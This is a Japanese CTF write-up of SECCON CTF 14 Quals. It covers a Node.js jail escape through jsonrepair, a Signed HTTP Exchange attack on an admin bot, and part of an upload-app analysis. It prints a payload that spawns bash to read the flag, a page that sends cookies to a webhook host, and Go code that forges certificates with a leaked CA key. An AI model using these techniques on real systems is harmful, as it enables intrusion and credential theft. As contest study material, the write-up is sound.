st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

SECCON CTF 14 Quals writeup

12/13 - 12/14という日程で開催された。BunkyoWesternsで参加して全体17位、国内2位。国内決勝に進出できてよかったけれども、個人的には2問しか解けなかったし、しかもいずれも重要な部分はAIが見つけていて私個人の貢献がほとんどなかったので悲しい。また、[Web] dummyholeについてはあと一歩というところまで来たけれども、そこから十数時間を費やして結局解けなかったので悲しい。色々悲しかったけれども、相変わらずクオリティがとても高い問題ばかりで楽しい大会だった。


競技時間中に解いた問題

[Jail 81] broken-json (166 solves)

Break Time ☕

(問題サーバの接続情報)

添付ファイル: broken-json.tar.gz

以下のようなファイルが与えられている。

$ tree .
.
├── Dockerfile
├── compose.yaml
├── flag.txt
├── jail.js
├── package-lock.json
└── package.json

0 directories, 6 files

Dockerfile は次の通り。予測できないファイル名で、ルートディレクトリにフラグが保存されているらしい。

FROM node:25.2.1-slim AS base
WORKDIR /app

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY package*.json .
RUN npm install --omit=dev
COPY --chmod=555 jail.js run

FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=100

jail.js は次の通り。大変シンプルなREPLだ。ただ、ユーザ入力が eval される前に jsonrepair という関数を通っている。どういうことだろうか。

#!/usr/local/bin/node
import readline from "node:readline/promises";
import { jsonrepair } from "jsonrepair";

using rl = readline.createInterface({ input: process.stdin, output: process.stderr });
await rl.question("jail> ").then(jsonrepair).then(eval).then(console.log);

jsonrepair というのは、{name: poyo} のような本来JSONとして正しくない文字列を、いい感じに忖度して {"name": "poyo"} のようにJSONとして正しい文字列に修復してくれるライブラリらしい、とnpmのページの説明を読んで把握する。なるほど、こいつがJSONとして壊れた文字列を吐き出すようなパターンを探して、好きなJSコードの実行に持ち込めということらしい。

READMEを読んで、このライブラリがどんな形式に対応しているか確認する。/* ... */// のようなコメント、callback({ ... }) のようなJSONPについて余計な部分を削除したり、NoneTrue のようなPython的な表現をそれに相当するものに置換してくれたりするらしい。便利だなあ。

ライブラリのコードをcloneしてきてClaude Codeに読ませ、JSONとして壊れた文字列を吐き出すような「修正」のパターンがないか探してもらう。x(/";require('fs').readFileSync('flag.txt','utf8');///) のように、JSONの関数呼び出し中で、単独のスラッシュと閉じていないダブルクォートを連続させると壊れる、と教えてもらった。なるほど、たしかに "/";require('fs').readFileSync('flag.txt','utf8');/" のように、JSONとして壊れた文字列が吐き出されている。途中まではJSコードとして正しいけれども、最後の /" が惜しい。この部分をコメントアウトするか、/"" のように文字列として閉じた形になってもらえれば、全体がJSコードとして正しくなる。

コメントアウトするのが楽だろうと考えるが、// でコメントアウトしようとすると、"Unexpected character "/" at position 52" のようなエラーが起こるか、最後に /" と奇数個のスラッシュが残ってJSコードとして正しくない形になってしまう。ではどうするか。JavaScriptではHTML-like Commentsと呼ばれるコメントも使える。x(/";console.log(123);<!-- のような文字列を投げると、"/";console.log(123);<!--" という文字列が返ってくるけれども、ここで <!-- 以降はコメントとして無視される。JSコードとして正しい文字列が出来上がった。

あとは /flag-(32ケタのhex).txt を読み出すだけだ。OSコマンドを実行するのが一番楽で、そのためには child_process というモジュールを読み込むのが楽なのだけれども、x(/";require(`child_process`);<!-- では次のように怒られてしまう。dynamic importもそれはそれで ERR_VM_DYNAMIC_IMPORT_CALLBACK_MISSING で怒られる。

ReferenceError: Cannot determine intended module format because both require() and top-level await are present. If the code is intended to be CommonJS, wrap await in an async function. If the code is intended to be an ES module, replace require() with import.
    at eval (eval at processTicksAndRejections (node:internal/process/task_queues:103:5), <anonymous>:1:5)
    at eval (<anonymous>)
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async file:///app/run:6:1 {
  code: 'ERR_AMBIGUOUS_MODULE_SYNTAX'
}

考えるのが面倒になってしまった。そんな状況でもさっさと使える process.binding でなんとかしてしまおう。process.execve という手もありそう。

$ nc (省略)
jail> x(/";const spawn_sync = process.binding('spawn_sync');const proc = spawn_sync.spawn({file: '\u002fbin\u002fbash',args: ['\u002fbin\u002fbash', '-c', 'cat \u002ff*'],envPairs: [],stdio: [{ type: 'pipe', readable: true, writable: true },{ type: 'pipe', readable: true, writable: true },{ type: 'pipe', readable: true, writable: true}]});console.log(proc.output[1].toString());<!--
SECCON{Re:Jail_kara_Hajimeru_Break_Time}

undefined

フラグが得られた。

SECCON{Re:Jail_kara_Hajimeru_Break_Time}

競技終了後に再度検証したところ、/";console.log(123);<!-- が、見つけたペイロードの最小構成であることが確認できた。これが壊れてしまう原因は、parseRegex という正規表現リテラルを文字列に変換する関数にある。これは正規表現リテラルを見つけると単純にダブルクォートで囲って文字列にし、JSONとして正しい形にしようとする。しかしながら、正規表現リテラルに含まれるダブルクォートのエスケープは行わないし、スラッシュが対応しているかすら確認しないので、このように壊れてしまう。

[Web 131] broken-challenge (54 solves)

I forgot to create the web site.

  • Admin Bot: (botサーバの接続情報)

添付ファイル: broken-challenge.tar.gz

問題の概要

送信したURLにChromiumでアクセスしてくれるAdmin Botがいるということで、XSSのようなクライアントサイドの脆弱性を使う問題なのだろうと思ったのだけれども、その脆弱性が存在するであろうアプリのサーバが存在していない。どういうことだろうか。以下のようなファイルが与えられているが、こちらもbotのコードのみで、本体になりそうなアプリのコードが含まれていない。

$ tree .
.
├── bot
│   ├── Dockerfile
│   ├── cert.crt
│   ├── cert.key
│   ├── conf.js
│   ├── index.js
│   ├── package-lock.json
│   ├── package.json
│   └── views
│       ├── hint.ejs
│       └── index.ejs
└── compose.yaml

2 directories, 10 files

とりあえず compose.yamlDockerfile から確認していく。やはり(これがリモートで動いているものとまったく同じなのであれば)Admin Botだけが動いているらしい。どういうことだろうか。Dockerfile では、cert.crt というルート証明書を信用させている。これに対応する秘密鍵が cert.key で、これを使えばいくらでも証明書が作れる…と思いきや、同梱されている cert.keyredacted という内容だった。別途手に入れる必要がありそうだ。

compose.yaml

services:
  bot:
    build: ./bot
    ports:
      - "1337:1337"
    restart: unless-stopped
    environment:
      - FLAG=SECCON{redacted}
    init: true

Dockerfile

FROM node:25.1.0

RUN apt-get update && apt-get install -y chromium ca-certificates libnss3-tools \
    && rm -rf /var/lib/apt/lists/*

RUN groupadd -r pptruser \
    && useradd -r -g pptruser -G audio,video pptruser \
    && mkdir -p /home/pptruser/Downloads \
    && chown -R pptruser:pptruser /home/pptruser

WORKDIR /app

COPY package*.json ./
ENV PUPPETEER_SKIP_DOWNLOAD=true
RUN npm install --omit=dev

COPY . .

USER pptruser

RUN mkdir -p /home/pptruser/.pki/nssdb \
    && certutil -A -d "sql:/home/pptruser/.pki/nssdb" -n "seccon" -t "CT,c,c" -i ./cert.crt

CMD ["index.js"]

index.js は次の通り。プレイヤーからURLを受け付けて、それが http:// または https:// から始まっていればChromiumかなにかでアクセスさせるような、普通のAdmin Botの作りだ。

import express from "express";
import rateLimit from "express-rate-limit";
import fs from "fs";

import { visit, challenge, flag } from "./conf.js";

if (!flag.validate(flag.value)) {
  console.log(`Invalid flag: ${flag.value}`);
  process.exit(1);
}

const app = express();

app.use(express.json());
app.set("view engine", "ejs");



app.get("/", (req, res) => {
  res.render("index", {
    name: challenge.name
  });
});

app.get("/hint", (req, res) => {
  res.render("hint", {
    hint: fs.readFileSync("./cert.key"), 
  });
});

app.use(
  "/api",
  rateLimit({
    windowMs: 60_000,
    max: challenge.rateLimit,
  })
);

app.post("/api/report", async (req, res) => {
  const { url } = req.body;
  if (
    typeof url !== "string" ||
    (!url.startsWith("http://") && !url.startsWith("https://"))
  ) {
    return res.status(400).send("Invalid url");
  }

  try {
    await visit(url);
    res.sendStatus(200);
  } catch (e) {
    console.error(e);
    res.status(500).send("Something went wrong");
  }
});

app.listen(1337);

/hint から cert.key が得られそうだということでアクセスしてみるが、"nope" とだけ表示される。cert.key をくれるんじゃないのかと落胆するものの、よく見ると透明な文字で書かれているだけだった。意地悪だなあ。

<!DOCTYPE html>
<html data-theme="light">
  <head>
    <title>Hint</title>
  </head>
  <body>
    <p>nope</p>
    <div style="opacity: 0;">-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----</div>
  </body>
</html>

index.js から参照されている conf.js は次の通り。HttpOnly でなくJavaScriptから document.cookie で参照できる形でCookieにフラグを格納しつつ、ユーザが提出したURLにChromiumでアクセスするという流れは普通だ。いや、普通ではない。Cookieの保存されているドメイン名が hack.the.planet.seccon となっている。コンテナ中でも特になにか名前解決周りの設定はされていないので、我々はもちろんのこと、このBotからも名前解決できない。アクセスできない場所にフラグがあるらしい。一体どうしろと。

import puppeteer from "puppeteer";

export const challenge = {
  name: "broken-challenge",
  rateLimit: 4, // max requests per 1 minute
};

export const flag = {
  value: process.env.FLAG,
  validate: (flag) => typeof flag === "string" && /^SECCON\{.+\}$/.test(flag),
};

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: true,
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--js-flags=--noexpose_wasm,--jitless",
      "--disable-features=HttpsFirstBalancedModeAutoEnable",
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    await context.setCookie({
      name: "FLAG",
      value: flag.value,
      domain: "hack.the.planet.seccon",
      path: "/",
    });

    const page = await context.newPage();
    await page.goto(url, { timeout: 3_000 });
    await sleep(5_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Signed HTTP Exchanges(SXG)というものがあるらしい

中間者攻撃ができるような作りでもないのに、一体どうやって hack.the.planet.seccon にアクセスできたことにしてCookieを手にいれればいいのか。Chromiumに攻撃をしてローカルファイルを読み取る? と考えたが、そんなことができそうな作りでもない。ただ、わざわざオレオレルート証明書を信用させつつ、配る必要のないその秘密鍵まで我々に与えてくれているという点が不思議だ。メタ読みだけれども、これを使ってなにかするのだろう。

とはいえ、ぱっとは何も思いつかない。Gemini 3 Proのプレビュー版に相談すると「Signed Exchanges(SXG)を利用した攻撃である可能性が非常に高い」と言われた。これがどういうものか調べていたが、「リソースの配信方法に関係なくリソースの送信元を認証できる配信メカニズム」という端的な説明で納得した。署名されたHTTPレスポンス(とそのリクエストURL)を含むパッケージを返すことで、全く異なるオリジンのコンテンツであっても、そのオリジンから配信されたかのように振る舞うというのがSXGらしい。CDNやキャッシュサーバが配信するものでも、元の発行者のオリジンとして扱われると嬉しいよねみたいな感じかな。

では、今回はそれをどう攻撃に活かすか。hack.the.planet.seccon から配信された(ように見せかけた) exploit.html を、得られた秘密鍵を活かしつつ署名する。これを私の管理下にあるサーバから配信する。Admin BotにはそのURL(たとえば、https://attacker.example/exploit.sxg)を報告することで、実際には私のサーバ(https://attacker.example)から配信されているわけだけれども、ブラウザは hack.the.planet.seccon を開いているのと同等の挙動を示す。exploit.html の中身は、document.cookie を外部に送信するものにすればよい。

いい感じに攻撃のためのコードを書く、もとい書かせる

自分でSXGを作るのは面倒そうだったので(それに、ある程度solvesが出ていたのもあって後回しにしており、時間的な余裕がなかったのもあって)、Claude Codeに書かせることにした。申し訳ない。まず、署名したい exploit.html は次の通り。これすらAIに書かせている。

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Exploit</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        // Exfiltrate FLAG cookie
        const flag = document.cookie;
        fetch('https://webhook.site/(省略)?flag=' + encodeURIComponent(flag))
            .then(() => {
                document.body.innerHTML = '<h1>Flag exfiltrated!</h1>';
            })
            .catch(err => {
                // Try with Image as fallback
                new Image().src = 'https://webhook.site/(省略)?flag=' + encodeURIComponent(flag);
            });
    </script>
</body>
</html>

Dockerfile は次の通り。このSXGのGo製のツールがあるらしく、そのうちの gen-signedexchangegen-certurl を入れている。exploit.html の署名は、HTTPサーバを兼ねた sxg-server 内でやるっぽい。ほか、OCSP周りでなんか怒られたので、エラーメッセージをそのままClaude Codeに投げて直してもらった情けなさの痕跡として、関連するPythonスクリプトもある。

Dockerfile

FROM golang:1.21-alpine AS builder

WORKDIR /app

# Install dependencies
RUN apk add --no-cache git

# Install SXG tools from WICG/webpackage
RUN go install github.com/WICG/webpackage/go/signedexchange/cmd/gen-signedexchange@latest && \
    go install github.com/WICG/webpackage/go/signedexchange/cmd/gen-certurl@latest

# Copy go module files and source
COPY go.mod ./
COPY main.go ./

# Initialize go module and download dependencies
RUN go mod tidy && go mod download

# Copy remaining files
COPY exploit.html ./
COPY wrapper.html ./
COPY cert.key ./
COPY cert.crt ./

# Build the application
RUN go build -o sxg-server main.go

# Run the application
FROM alpine:latest

WORKDIR /app

# Install Python and cryptography for OCSP generation
RUN apk add --no-cache python3 py3-pip && \
    pip3 install --break-system-packages cryptography

# Copy binary and required files from builder
COPY --from=builder /app/sxg-server .
COPY --from=builder /app/exploit.html .
COPY --from=builder /app/cert.key .
COPY --from=builder /app/cert.crt .
COPY wrapper.html .
COPY gen_ocsp.py .

# Copy SXG tools from builder
COPY --from=builder /go/bin/gen-signedexchange /usr/local/bin/
COPY --from=builder /go/bin/gen-certurl /usr/local/bin/

# Expose port 80
EXPOSE 80

# Run the server
CMD ["./sxg-server"]

gen_ocsp.py

#!/usr/bin/env python3
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.backends import default_backend
from cryptography.x509 import ocsp
import datetime
import sys

# Load certificates and key
with open('sxg-cert.crt', 'rb') as f:
    cert = x509.load_pem_x509_certificate(f.read(), default_backend())

with open('cert.crt', 'rb') as f:
    issuer = x509.load_pem_x509_certificate(f.read(), default_backend())

with open('cert.key', 'rb') as f:
    issuer_key = serialization.load_pem_private_key(f.read(), None, default_backend())

# Build OCSP response
builder = ocsp.OCSPResponseBuilder()
builder = builder.add_response(
    cert=cert,
    issuer=issuer,
    algorithm=hashes.SHA256(),
    cert_status=ocsp.OCSPCertStatus.GOOD,
    this_update=datetime.datetime.now(datetime.timezone.utc) - datetime.timedelta(hours=1),
    next_update=datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1),
    revocation_time=None,
    revocation_reason=None
).responder_id(
    ocsp.OCSPResponderEncoding.HASH, issuer
)

response = builder.sign(issuer_key, hashes.SHA256())

# Write to file
with open('dummy.ocsp', 'wb') as f:
    f.write(response.public_bytes(serialization.Encoding.DER))

print("OCSP response generated successfully")

main.go は次の通り。AIってすごいなあ。前半部分がツールをいい感じに使ってSXGファイルを生成しつつ、後半部分では関連ファイルをホストするHTTPサーバを立ち上げている。Claude Codeには使うSXG関連のツールのコードやドキュメントを渡して、それを参考にするよう言ったのだけれども、それでもコードの生成のたびに余計な存在しないオプションを入れたり、必要な情報を抜かしてしまい、SXGの生成やChromium側での検証のタイミングでエラーが起こっていた。そのたびにエラーメッセージを渡して直してもらっていたところ、このような長さになった。

package main

import (
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "encoding/asn1"
    "encoding/base64"
    "encoding/pem"
    "fmt"
    "io/ioutil"
    "log"
    "math/big"
    "net/http"
    "os"
    "os/exec"
    "time"
)

// OID for CanSignHttpExchanges extension
var oidCanSignHttpExchanges = asn1.ObjectIdentifier{1, 3, 6, 1, 4, 1, 11129, 2, 1, 22}

func main() {
    // Read CA certificate
    caCertPEM, err := ioutil.ReadFile("cert.crt")
    if err != nil {
        log.Fatal("Failed to read cert.crt:", err)
    }

    block, _ := pem.Decode(caCertPEM)
    if block == nil {
        log.Fatal("Failed to decode PEM certificate")
    }

    caCert, err := x509.ParseCertificate(block.Bytes)
    if err != nil {
        log.Fatal("Failed to parse CA certificate:", err)
    }

    // Read CA private key
    caKeyPEM, err := ioutil.ReadFile("cert.key")
    if err != nil {
        log.Fatal("Failed to read cert.key:", err)
    }

    keyBlock, _ := pem.Decode(caKeyPEM)
    if keyBlock == nil {
        log.Fatal("Failed to decode PEM private key")
    }

    caPrivateKey, err := x509.ParseECPrivateKey(keyBlock.Bytes)
    if err != nil {
        log.Fatal("Failed to parse EC private key:", err)
    }

    // Generate a new key pair for the SXG certificate
    sxgPrivateKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    if err != nil {
        log.Fatal("Failed to generate private key:", err)
    }

    // Create certificate template for hack.the.planet.seccon
    serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
    if err != nil {
        log.Fatal("Failed to generate serial number:", err)
    }

    template := x509.Certificate{
        SerialNumber: serialNumber,
        Subject: pkix.Name{
            CommonName: "hack.the.planet.seccon",
        },
        DNSNames:    []string{"hack.the.planet.seccon"},
        NotBefore:   time.Now(),
        NotAfter:    time.Now().Add(90 * 24 * time.Hour), // SXG requires <= 90 days
        KeyUsage:    x509.KeyUsageDigitalSignature,
        ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
        ExtraExtensions: []pkix.Extension{
            {
                Id:       oidCanSignHttpExchanges,
                Critical: false,
                Value:    []byte{0x05, 0x00}, // ASN.1 NULL
            },
        },
    }

    // Sign the certificate with the CA
    certDER, err := x509.CreateCertificate(rand.Reader, &template, caCert, &sxgPrivateKey.PublicKey, caPrivateKey)
    if err != nil {
        log.Fatal("Failed to create certificate:", err)
    }

    // Save the SXG certificate
    certOut, err := os.Create("sxg-cert.crt")
    if err != nil {
        log.Fatal("Failed to create sxg-cert.crt:", err)
    }
    pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: certDER})
    certOut.Close()

    // Save the CA certificate
    caCertOut, err := os.Create("ca-cert.crt")
    if err != nil {
        log.Fatal("Failed to create ca-cert.crt:", err)
    }
    caCertOut.Write(caCertPEM)
    caCertOut.Close()

    // Save the SXG private key
    keyOut, err := os.Create("sxg-cert.key")
    if err != nil {
        log.Fatal("Failed to create sxg-cert.key:", err)
    }
    keyBytes, err := x509.MarshalECPrivateKey(sxgPrivateKey)
    if err != nil {
        log.Fatal("Failed to marshal private key:", err)
    }
    pem.Encode(keyOut, &pem.Block{Type: "EC PRIVATE KEY", Bytes: keyBytes})
    keyOut.Close()

    log.Println("Generated SXG certificate and key")

    // Create a combined PEM file with the full certificate chain
    combinedPEM, err := ioutil.ReadFile("sxg-cert.crt")
    if err != nil {
        log.Fatal("Failed to read sxg-cert.crt:", err)
    }

    caPEM, err := ioutil.ReadFile("ca-cert.crt")
    if err != nil {
        log.Fatal("Failed to read ca-cert.crt:", err)
    }

    fullChain := append(combinedPEM, caPEM...)
    if err := ioutil.WriteFile("fullchain.pem", fullChain, 0644); err != nil {
        log.Fatal("Failed to write fullchain.pem:", err)
    }

    // Generate dummy OCSP response using Python script
    ocspCmd := exec.Command("python3", "gen_ocsp.py")
    ocspOutput, err := ocspCmd.CombinedOutput()
    if err != nil {
        log.Printf("gen_ocsp.py output: %s", ocspOutput)
        log.Fatal("Failed to generate OCSP response:", err)
    }
    log.Println("OCSP response generated")

    // Generate cert.cbor using gen-certurl with dummy OCSP
    certURLCmd := exec.Command("gen-certurl", "-pem", "fullchain.pem", "-ocsp", "dummy.ocsp")
    certURLOutput, err := certURLCmd.Output()
    if err != nil {
        // Ignore stderr warnings, only fatal on actual error
        if exitErr, ok := err.(*exec.ExitError); ok {
            log.Printf("gen-certurl warnings: %s", exitErr.Stderr)
        }
        // Check if we got any output despite the error
        if len(certURLOutput) == 0 {
            log.Fatal("Failed to generate cert.cbor:", err)
        }
    }

    // Write the output to cert.cbor
    if err := ioutil.WriteFile("cert.cbor", certURLOutput, 0644); err != nil {
        log.Fatal("Failed to write cert.cbor:", err)
    }

    log.Println("Certificate chain created: cert.cbor")

    // Read cert.cbor and encode as base64 for data: URI
    certCBOR, err := ioutil.ReadFile("cert.cbor")
    if err != nil {
        log.Fatal("Failed to read cert.cbor:", err)
    }
    certDataURI := "data:application/cert-chain+cbor;base64," + base64.StdEncoding.EncodeToString(certCBOR)

    // Now generate SXG with embedded certificate
    cmd := exec.Command("gen-signedexchange",
        "-uri", "https://hack.the.planet.seccon/",
        "-content", "exploit.html",
        "-certificate", "sxg-cert.crt",
        "-privateKey", "sxg-cert.key",
        "-certUrl", certDataURI,
        "-validityUrl", "https://hack.the.planet.seccon/validity.msg",
        "-responseHeader", "Content-Type: text/html; charset=utf-8",
        "-responseHeader", "Cache-Control: max-age=600",
        "-ignoreErrors",
        "-o", "exploit.sxg")

    output, err := cmd.CombinedOutput()
    if err != nil {
        log.Printf("gen-signedexchange output: %s", output)
        log.Fatal("Failed to generate SXG:", err)
    }

    log.Println("SXG file created successfully: exploit.sxg")

    // Start HTTP server
    http.HandleFunc("/exploit.sxg", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/signed-exchange;v=b3")
        w.Header().Set("X-Content-Type-Options", "nosniff")
        http.ServeFile(w, r, "exploit.sxg")
    })

    http.HandleFunc("/cert.cbor", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/cert-chain+cbor")
        http.ServeFile(w, r, "cert.cbor")
    })

    http.HandleFunc("/validity.msg", func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Type", "application/cbor")
        // Empty validity response - SXG spec allows this
        w.Write([]byte{0xa0}) // Empty CBOR map
    })

    http.HandleFunc("/wrapper", func(w http.ResponseWriter, r *http.Request) {
        http.ServeFile(w, r, "wrapper.html")
    })

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintf(w, `<!DOCTYPE html>
<html>
<head>
    <title>SXG Exploit</title>
</head>
<body>
    <h1>SXG Exploit Server</h1>
    <p><a href="/exploit.sxg">Direct SXG link</a></p>
    <p><a href="/wrapper">Wrapper page (recommended)</a></p>
    <hr>
    <h2>How it works:</h2>
    <ol>
        <li>This server generates a certificate for hack.the.planet.seccon signed by the CA</li>
        <li>It creates a Signed HTTP Exchange (SXG) for https://hack.the.planet.seccon/</li>
        <li>When the bot loads the SXG, it executes in the context of hack.the.planet.seccon</li>
        <li>The JavaScript can access the FLAG cookie and exfiltrate it</li>
    </ol>
</body>
</html>`)
    })

    log.Println("Starting server on :80")
    if err := http.ListenAndServe(":80", nil); err != nil {
        log.Fatal(err)
    }
}

出来上がった https://attacker.example/exploit.sxg のようなURLをAdmin Botに投げると、フラグが得られた。すみません…

SECCON{congratz_you_hacked_the_planet_521ce0597cdcd1e3}

競技が終わってから復習した問題

[Web 233] dummyhole (15 solves)

Is this a hole or...?

  • Challenge: (問題サーバの接続情報)
  • Admin bot: (botサーバの接続情報)

添付ファイル: dummyhole.tar.gz

概要

画像をアップロードできるWebアプリが与えられている。ユーザ登録・ログインした後で画像をアップロードしてみると、/posts/?id=bc6b4006-480f-4cab-bf1b-66a226ad6300 というようなページにリダイレクトされた。ここで、iframe 中で画像が表示される。

添付ファイルを見ていく。compose.yaml を見てもわかるけれども、主に webbot の2つのサービスがあることがわかる。前者は先程触った画像アップローダーで、後者はAdmin Botに対応するものだ。

$ tree .
.
├── bot
│   ├── Dockerfile
│   ├── bot.js
│   ├── index.js
│   ├── package-lock.json
│   ├── package.json
│   └── public
│       └── index.html
├── compose.yaml
└── web
    ├── Dockerfile
    ├── package.json
    ├── public
    │   ├── index.html
    │   ├── login.html
    │   ├── logout.html
    │   ├── post.html
    │   ├── register.html
    │   └── upload.html
    └── server.js

4 directories, 16 files

compose.yaml は次のとおり。webbot のほかにも rustfs というものがある。Rust製のS3互換のオブジェクトストレージらしい。なるほど。

services:
  web:
    build: ./web
    ports:
      - "80:80"
    depends_on:
      rustfs:
        condition: service_healthy
    restart: unless-stopped
    environment:
      - NODE_ENV=production
      - ADMIN_USERNAME=${ADMIN_USERNAME}
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}

  bot:
    build: ./bot
    ports:
      - "1337:1337"
    depends_on:
      - web
    restart: unless-stopped
    environment:
      - ADMIN_USERNAME=${ADMIN_USERNAME}
      - ADMIN_PASSWORD=${ADMIN_PASSWORD}
      - FLAG=${FLAG}

  rustfs:
    image: rustfs/rustfs:1.0.0-alpha.72
    restart: unless-stopped
    environment:
      - RUSTFS_ACCESS_KEY=rustfs
      - RUSTFS_SECRET_KEY=rustfs
      - RUSTFS_REGION=us-east-1
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:9000/health"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 20s

bot から見ていこう。主要な処理が書かれている bot.js の内容は次の通り。PuppeteerでWebブラウザを操作する、よくある構成だ。admin の認証情報でログインしてから、ユーザから通報された画像を見に行く。フラグが document.cookie からアクセスできる形でCookieに格納されているので、WebアプリでXSSに持ち込むのが目的だと察する。

注意したいのは、我々が操作できるのは ${APP_URL}/posts/?id=${encodeURIComponent(id)} というアクセス先の id のみであるということ。自分の管理下にあるサーバにいきなりアクセスさせることはできない。ただ、本来UUIDのみを受け付けるべきであるところ、フォーマットの確認はされていない。なにかに使うのだろうなあと思う。

import puppeteer from 'puppeteer';

const ADMIN_USERNAME = process.env.ADMIN_USERNAME ?? console.log('No admin username') ?? process.exit(1);
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD ?? console.log('No admin password') ?? process.exit(1);
const FLAG = process.env.FLAG ?? console.log('No flag') ?? process.exit(1);

const APP_HOSTNAME = "web";
const APP_URL = 'http://' + APP_HOSTNAME;

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (id) => {
  console.log(`start: ${id}`);

  const browser = await puppeteer.launch({
    headless: 'new',
    executablePath: '/usr/bin/google-chrome-stable',
    args: [
      '--no-sandbox',
      '--disable-dev-shm-usage',
      '--disable-gpu',
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await context.setCookie({
      name: 'FLAG',
      value: FLAG,
      domain: APP_HOSTNAME,
      path: '/',
    });
    
    // Login
    await page.goto(`${APP_URL}/login`, { timeout: 10_000 });
    await page.type('input[id="username"]', ADMIN_USERNAME);
    await page.type('input[id="password"]', ADMIN_PASSWORD);
    await page.click('button');

    await page.waitForSelector('#imageFile');


    // Visit reported post
    await page.goto(`${APP_URL}/posts/?id=${encodeURIComponent(id)}`, { timeout: 10_000 });
    await sleep(10_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${id}`);
};

画像アップローダーの方を見ていく。一番気になるファイルアップロード処理は次の通り。POST /upload を通じてRustFSに画像をアップロードするような流れになっている。Content-Type もチェックされている。image/pngimage/jpeg であるかチェックしようとしているのはいいけれども、なぜか厳密な比較ではなく startsWith で比較している。つまり、image/pngdayo のように image/png または image/jpeg から始まっているものであれば、おかしな Content-Type でも通してしまう。とはいえ、そんな条件で有用な Content-Type はあるだろうか。

app.post('/upload', checkOrigin, requireAuth, uploadLimiter, upload.single('image'), async (req, res) => {
  try {
    const { title, description } = req.body;
    const file = req.file;

    if (!file || !title) {
      return res.status(400).json({ error: 'Image and title required' });
    }

    if (!file.mimetype || (!file.mimetype.startsWith('image/png') && !file.mimetype.startsWith('image/jpeg'))) {
      return res.status(400).json({ error: 'Invalid file: must be png or jpeg' });
    }

    const postId = uuidv4();

    const command = new PutObjectCommand({
      Bucket: BUCKET,
      Key: postId,
      Body: file.buffer,
      ContentType: file.mimetype,
    });

    await s3Client.send(command);

    posts.set(postId, {
      title,
      description: description || '',
      image_url: `/images/${postId}`,
      author: req.user,
    });

    res.json({ success: true, id: postId });
  } catch (error) {
    console.error('Upload error:', error);
    res.status(500).json({ error: 'Upload failed' });
  }
});

画像を返す GET /images/:id は次の通り。今度はRustFSからファイルを持ってきている。アップロード時に投げられた Content-Type をそのまま返すらしい。もう一点、ここで厳し目の Content-Security-Policy ヘッダが返されている。たとえHTMLとして解釈できるような Content-Type が見つかったとしても、結局JSの実行等はできなそうだ。

app.get('/images/:id', async (req, res) => {
  try {
    const id = req.params.id;

    const command = new GetObjectCommand({
      Bucket: BUCKET,
      Key: id,
    });

    const response = await s3Client.send(command);

    res.setHeader('Content-Type', response.ContentType || 'application/octet-stream');
    res.setHeader('Content-Security-Policy', "default-src 'none'; form-action 'none';");

    const stream = response.Body;
    stream.pipe(res);
  } catch (error) {
    console.error('Image fetch error:', error);
    res.status(404).json({ error: 'Image not found' });
  }
});

Client-Side Path Traversalから、好きなページの表示につなげる

画像をアップロードすると /posts/?id=... にリダイレクトされると述べたけれども、このエンドポイントはサーバ側では res.sendFile(path.join(__dirname, 'public', 'post.html')); のように静的ファイルを返すだけとなっている。主な処理はクライアント側で行われる。

/posts/?id=… が返すHTMLのうち、重要な箇所は次の通り。クエリ文字列をパースして、await import(`/api/posts/${postId}`, { with: { type: "json" } }); のようにdynamic importsで投稿の情報を取ってきている。こいつはタイトル、内容、そして画像のパスをJSONで返す。そして ${location.origin}${postData.default.image_url} のようにして画像のURLを組み立て、iframe で表示する。

